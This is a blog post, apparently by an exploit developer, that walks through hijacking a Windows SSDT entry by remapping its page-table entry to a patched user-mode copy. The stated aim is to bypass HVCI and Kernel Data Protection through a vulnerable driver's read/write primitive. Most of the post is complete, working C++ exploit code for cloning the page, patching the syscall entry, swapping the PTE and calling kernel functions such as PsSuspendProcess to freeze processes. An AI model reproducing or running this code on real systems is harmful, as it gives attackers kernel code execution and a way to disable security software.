Intro
I have been doing a lot of kernel research to try to create a tool to immediantly weaponize vulnerable drivers. One article that came up for me was an SSDT Hijack, and it was done by Juan Sacco. It is available here. https://www.exploitpack.com/blogs/news/bypassing-kernel-code-execution-a-data-only-ssdt-hijack-under-hvci-but-how
Please read this article fully before you read this. But if your anything like me, you probably won’t, and are wondering on why I wrote this when that article is already out there.
What’s the point of SSDT hijacking?
The point is controlled kernel code execution. The SSDT is an array of system kernel routines, and it holds the indexes to every single syscall in windows.
In Juan’s article, he explains how a section of this structure is not covered by KDP, so you are able to directly write to this r/w address and switch the index of a syscall.
Therefore, when you enter one syscall, the kernel will replace that syscall with another.
My method also uses a virtual r/w prim, not a physical r/w prim, making this open to so many more types of exploits.
This will currently not work, as KDP now checks for writes to that location and will then bluescreen when this attack is called. So, to bypass this, I read this article. https://tandasat.github.io/blog/2023/07/05/intel-vt-rp-part-1.html This information here allows you to bypass any structure blocked by kdp.
This article explains a remapping attack only mitigated on intel machines through HLAT or intel VT-RP. This attack I will explain uses this remapping method, and will not work on some windows pro machines by default. However, this will work on all AMD machines likely for the next 5+ years. There is no blockage for this remapping attack on AMD machines at all.
Also, most machines do not have HLAT on yet. It also requires a 12th gen intel processor.
PLEASE read the above articles first! This is essentially implementing a combination of both of them.
Let’s get into it!
Plan
- Find SSDT Entries
- Copy them with usermode address
- Modify SSDT Entry
- Swap PFN back to SSDT table
- Call syscall!
Finding the PTE base
To conduct a remapping attack, I need to first find the page table entry base. This changes on reboot, but the code under nt!MiGetPteAddress displays this location. This exploit all relies on this, and this was the code under windows 25H2 on my machine:
nt!MiGetPteAddress:
fffff806`d13276c0 48c1e909 shr rcx,9
fffff806`d13276c4 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff806`d13276ce 4823c8 and rcx,rax
fffff806`d13276d1 48b80000000000fcffff mov rax,0FFFFFC0000000000h
fffff806`d13276db 4803c1 add rax,rcx
fffff806`d13276de c3 ret*/
Using our r/w primitive, we can extract the Page table entry base from these instructions. This way, we can complete the translations directly in our exploit. The value at this location changes on boot, so we must hardcode this offset from MiGetPteAddress.
UINT64 getpteaddr(UINT64 virtualAddress, UINT64 pteBase) {
UINT64 pteOffset = virtualAddress >> 9;
pteOffset &= 0x7FFFFFFFF8;
return pteBase + pteOffset;
}
UINT64 getbase(VulnerableDriver& driver, const kerneloffsets& offsets) {
UINT64 ntobase = offsets.NTOSKRNLbase;
UINT64 miGetPteAddr = ntobase + offsets.MiGetPteAddress;
UINT64 pte_base = 0;
// Extract the dynamic PTE base embedded in the instruction stream
driver.Read(&pte_base, miGetPteAddr + 0x13, 0x8);
printf("[+] dynamic ptebase: 0x%016llx\n", pte_base);
return pte_base;
}
This will likely change with versions of windows! I have not tested on others, be careful. Logic would probably be the exact same though.
Cloning the page
Now since we have the page table entry base, we can start our attack by creating a copy of the page in user-mode. I used virtual alloc to create memory in ram, and copied the legitamate SSDT page in this location.
void CloneSSDTPage(VulnerableDriver& driver, UINT64 original_page_va, void* shadow_page) {
for (int i = 0; i < 4096; i += 8) {
UINT64 block = 0;
driver.Read(&block, original_page_va + i, 0x8);
*(UINT64*)((BYTE*)shadow_page + i) = block;
}
printf("[+] ssdt page cloned successfully\n");
}
Patching the syscall
Now, we can patch the system call in our page. We must calculate the delta (offset) between the SSDT page base and our target syscall. Then, we write that value in our page entry.
void PatchShadowSSDT(UINT64 ntobase, UINT64 kesdtbase, UINT64 entry_virtual_address, UINT64 original_page_va, void* shadow_page, UINT64 target_function_rva, UINT32 sysno) {
UINT64 target_function = ntobase + target_function_rva;
INT64 delta = (INT64)(target_function - kesdtbase);
UINT64 offset_in_page = entry_virtual_address & 0xFFF;
// Preserve the lower 4 bits (argument count) and apply the new 32-bit delta
UINT32 orig_entry = *(UINT32*)((BYTE*)shadow_page + offset_in_page);
UINT32 new_entry = ((UINT32)delta << 4) | (orig_entry & 0xF);
*(UINT32*)((BYTE*)shadow_page + offset_in_page) = new_entry;
printf("[+] patched the page! target offset: 0x%llX\n", delta);
}
PTE swap
This is the part that bypasses KDP! We have to read the page table entry that points to the real SSDT, and read the PTE that points to our user-mode page.
By finding the page frame number from the pte we just made, we can swap them so that the Page Frame Number matches. Now, the SSDT structure appears to be the structure we made in user mode, allowing us to control all the syscalls.
void SwapPTE(VulnerableDriver& driver, UINT64 original_pte_addr, UINT64 shadow_pte_addr, UINT64& orig_pte_val) {
UINT64 shadow_pte_val = 0;
driver.Read(&orig_pte_val, original_pte_addr, 0x8);
driver.Read(&shadow_pte_val, shadow_pte_addr, 0x8);
// Isolate the physical address (Page Frame Number)
UINT64 PFN_MASK = 0x000FFFFFFFFFF000ull;
UINT64 shadow_pfn = shadow_pte_val & PFN_MASK;
// Stitch the shadow PFN into the original PTE structure
UINT64 hijacked_pte_val = (orig_pte_val & ~PFN_MASK) | shadow_pfn;
driver.Write(original_pte_addr, hijacked_pte_val);
printf("[!] ssdt pte changed to %016llx!\n", hijacked_pte_val);
}
Execute syscall
Now, all we have to do is execute the syscall from usermode. We pass our target eprocess into NtSetQuotaInformationFile, which is routed to PsSuspendProcess.
Once that returns, we restore the original PTE. If we don’t patchguard will catch us very very fast.
NTSTATUS ExecuteKernelFunction(VulnerableDriver& driver, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4, UINT64 target_function_rva, const kerneloffsets& offsets) {
// ... [Initialization, Allocation, Cloning, and Patching] ...
// swap pte to usermode
UINT64 orig_pte_val = 0;
SwapPTE(driver, original_pte_addr, shadow_pte_addr, orig_pte_val);
// resolve usermode syscall stub
static pNtSetQuotaInformationFile FireSyscall = (pNtSetQuotaInformationFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetQuotaInformationFile");
//execute
NTSTATUS status = FireSyscall((HANDLE)arg1, (PVOID)arg2, (PVOID)arg3, (ULONG)arg4);
// Clean
driver.Write(original_pte_addr, orig_pte_val);
VirtualUnlock(shadow_page, 4096);
VirtualFree(shadow_page, 0, MEM_RELEASE);
return status;
}
Keep it high level
By creating all of these helper functions, we can execute these syscalls quickly by passing in the new syscalls we want to hijack as arguments.
void FreezeProcess(VulnerableDriver& driver, UINT64 pid, const kerneloffsets& offsets) {
UINT64 target_eprocess = getprocessbypid(driver, pid, offsets);
NTSTATUS status = ExecuteKernelFunction(driver, target_eprocess, 0, 0, 0, offsets.PsSuspendProcess, offsets);
if (status == 0x00000000) {
printf("[+] succeded in freezing. \n");
} else {
printf("[-] Failed. ntstatus: 0x%08X\n", status);
}
}
Concussion
By shifting the attack from memory modification to PTE remapping, we bypass HVCI and KDP at the same time. This allows for an extremely stable exploit that will function on all AMD machines for a very very long time.
This is fully implemented in https://github.com/nasawyer7/ropkit/! Along with the external libraries I use.
Full code:
#include "remap.h"
void FreezeProcess(VulnerableDriver& driver, UINT64 pid, const kerneloffsets& offsets) {
UINT64 target_eprocess = getprocessbypid(driver, pid, offsets);
// pass eprocess as argument 1 for psresume/suspend.
NTSTATUS status = ExecuteKernelFunction(driver, target_eprocess, 0, 0, 0, offsets.PsSuspendProcess, offsets);
if (status == 0x00000000) {
printf("[+] succeded in freezing. \n");
}
else {
printf("[-] Failed. ntstatus: 0x%08X\n", status);
}
}
void UnfreezeProcess(VulnerableDriver& driver, UINT64 pid, const kerneloffsets& offsets) {
UINT64 target_eprocess = getprocessbypid(driver, pid, offsets);
// pass eprocess as argument 1
NTSTATUS status = ExecuteKernelFunction(driver, target_eprocess, 0, 0, 0, offsets.PsResumeProcess, offsets);
if (status == 0x00000000) {
printf("[+] succeded in resuming. \n");
}
else {
printf("[-] Failed. ntstatus: 0x%08X\n", status);
}
}
//helper functions below here
UINT64 getpteaddr(UINT64 virtualAddress, UINT64 pteBase) {
//basically doing assembly. heres what it looks like;
//and 4376c0 is the address of MiGetPteAddress, which can be auto resolved.
/*u nt+4376c0
nt!MiGetPteAddress:
fffff806`d13276c0 48c1e909 shr rcx,9
fffff806`d13276c4 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff806`d13276ce 4823c8 and rcx,rax
fffff806`d13276d1 48b80000000000fcffff mov rax,0FFFFFC0000000000h
fffff806`d13276db 4803c1 add rax,rcx
fffff806`d13276de c3 ret*/
// shr rcx, 9
UINT64 pteOffset = virtualAddress >> 9;
// and rcx, rax (7FFFFFFFF8h)
pteOffset &= 0x7FFFFFFFF8;
// add rax, rcx
return pteBase + pteOffset;
}
UINT64 getbase(VulnerableDriver& driver, const kerneloffsets& offsets) {
UINT64 ntobase = offsets.NTOSKRNLbase;
UINT64 miGetPteAddr = ntobase + offsets.MiGetPteAddress;
UINT64 pte_base = 0;
driver.Read(&pte_base, miGetPteAddr + 0x13, 0x8);
printf("[+] dynamic ptebase: 0x%016llx\n", pte_base);
return pte_base;
}
NTSTATUS ExecuteKernelFunction(VulnerableDriver& driver, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4, UINT64 target_function_rva, const kerneloffsets& offsets) {
UINT64 ntobase = offsets.NTOSKRNLbase;
UINT64 kesdt = ntobase + offsets.KeServiceDescriptorTable;
UINT64 ptebase = getbase(driver, offsets);
UINT64 kesdtbase = 0;
driver.Read(&kesdtbase, kesdt, 0x8);
UINT32 sysno = offsets.Syscall_NtSetQuotaInformationFile;
UINT64 entry_virtual_address = kesdtbase + (sysno * 4);
UINT64 original_page_va = entry_virtual_address & ~0xFFFull;
// Allocate & Lock User-Mode Shadow Page
void* shadow_page = VirtualAlloc(nullptr, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shadow_page || !VirtualLock(shadow_page, 4096)) {
printf("[-] Failed to allocate or lock Shadow Page.\n");
if (shadow_page) VirtualFree(shadow_page, 0, MEM_RELEASE);
return 0xC0000001; // fail
}
UINT64 shadow_page_va = (UINT64)shadow_page;
UINT64 original_pte_addr = getpteaddr(original_page_va, ptebase);
UINT64 shadow_pte_addr = getpteaddr(shadow_page_va, ptebase);
// clone and patch
CloneSSDTPage(driver, original_page_va, shadow_page);
PatchShadowSSDT(ntobase, kesdtbase, entry_virtual_address, original_page_va, shadow_page, target_function_rva, sysno);
// swap pte
UINT64 orig_pte_val = 0;
SwapPTE(driver, original_pte_addr, shadow_pte_addr, orig_pte_val);
// Get the ntdll function once
static pNtSetQuotaInformationFile FireSyscall = (pNtSetQuotaInformationFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetQuotaInformationFile");
// run and return status
NTSTATUS status = FireSyscall((HANDLE)arg1, (PVOID)arg2, (PVOID)arg3, (ULONG)arg4);
//cleanup and free
driver.Write(original_pte_addr, orig_pte_val);
VirtualUnlock(shadow_page, 4096);
VirtualFree(shadow_page, 0, MEM_RELEASE);
return status;
}
void CloneSSDTPage(VulnerableDriver& driver, UINT64 original_page_va, void* shadow_page) {
for (int i = 0; i < 4096; i += 8) {
UINT64 block = 0;
driver.Read(&block, original_page_va + i, 0x8);
*(UINT64*)((BYTE*)shadow_page + i) = block;
}
printf("[+] ssdt page cloned successfully\n");
}
void PatchShadowSSDT(UINT64 ntobase, UINT64 kesdtbase, UINT64 entry_virtual_address, UINT64 original_page_va, void* shadow_page, UINT64 target_function_rva, UINT32 sysno) {
// Dynamically calculate the target based on whatever RVA we passed in
UINT64 target_function = ntobase + target_function_rva;
INT64 delta = (INT64)(target_function - kesdtbase); //basically offset
UINT64 offset_in_page = entry_virtual_address & 0xFFF;
UINT32 orig_entry = *(UINT32*)((BYTE*)shadow_page + offset_in_page);
UINT32 new_entry = ((UINT32)delta << 4) | (orig_entry & 0xF);
*(UINT32*)((BYTE*)shadow_page + offset_in_page) = new_entry;
printf("[+]patched the page! target offset: 0x%llX\n", delta);
}
void SwapPTE(VulnerableDriver& driver, UINT64 original_pte_addr, UINT64 shadow_pte_addr, UINT64& orig_pte_val) {
UINT64 shadow_pte_val = 0;
driver.Read(&orig_pte_val, original_pte_addr, 0x8);
driver.Read(&shadow_pte_val, shadow_pte_addr, 0x8);
UINT64 PFN_MASK = 0x000FFFFFFFFFF000ull;
UINT64 shadow_pfn = shadow_pte_val & PFN_MASK;
UINT64 hijacked_pte_val = (orig_pte_val & ~PFN_MASK) | shadow_pfn;
driver.Write(original_pte_addr, hijacked_pte_val);
printf("[!] ssdt pte changed to %016llx!\n", hijacked_pte_val);
}